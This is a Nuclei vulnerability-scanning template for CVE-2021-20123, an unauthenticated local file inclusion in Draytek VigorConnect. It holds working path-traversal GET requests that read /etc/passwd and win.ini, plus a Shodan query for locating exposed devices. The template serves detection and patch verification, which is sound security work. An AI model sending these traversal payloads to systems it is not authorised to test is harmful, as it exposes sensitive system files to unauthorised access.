nuclei-templates/http/cves/2021/CVE-2021-20123.yaml

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1.8 KiB
YAML

id: CVE-2021-20123
info:
name: Draytek VigorConnect 1.6.0-B - Local File Inclusion
author: 0x_Akoko
severity: high
description: |
Draytek VigorConnect 1.6.0-B3 is susceptible to local file inclusion in the file download functionality of the DownloadFileServlet endpoint. An unauthenticated attacker could leverage this vulnerability to download arbitrary files from the underlying operating system with root privileges.
remediation: |
Apply the latest security patches or updates provided by the vendor to fix the LFI vulnerability in Draytek VigorConnect 1.6.0-B.
reference:
- https://www.tenable.com/security/research/tra-2021-42
- https://nvd.nist.gov/vuln/detail/CVE-2021-20123
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 7.5
cve-id: CVE-2021-20123
cwe-id: CWE-22
epss-score: 0.03817
epss-percentile: 0.90833
cpe: cpe:2.3:a:draytek:vigorconnect:1.6.0:beta3:*:*:*:*:*:*
metadata:
verified: true
max-request: 2
vendor: draytek
product: vigorconnect
shodan-query: http.html:"VigorConnect"
tags: cve,cve2021,draytek,lfi,vigorconnect,tenable
http:
- method: GET
path:
- "{{BaseURL}}/ACSServer/DownloadFileServlet?show_file_name=../../../../../../etc/passwd&type=uploadfile&path=anything"
- "{{BaseURL}}/ACSServer/DownloadFileServlet?show_file_name=../../../../../../windows/win.ini&type=uploadfile&path=anything"
stop-at-first-match: true
matchers-condition: and
matchers:
- type: word
part: header
words:
- "application/octet-stream"
- type: regex
part: body
regex:
- "root:.*:0:0:"
- "for 16-bit app support"
condition: or
- type: status
status:
- 200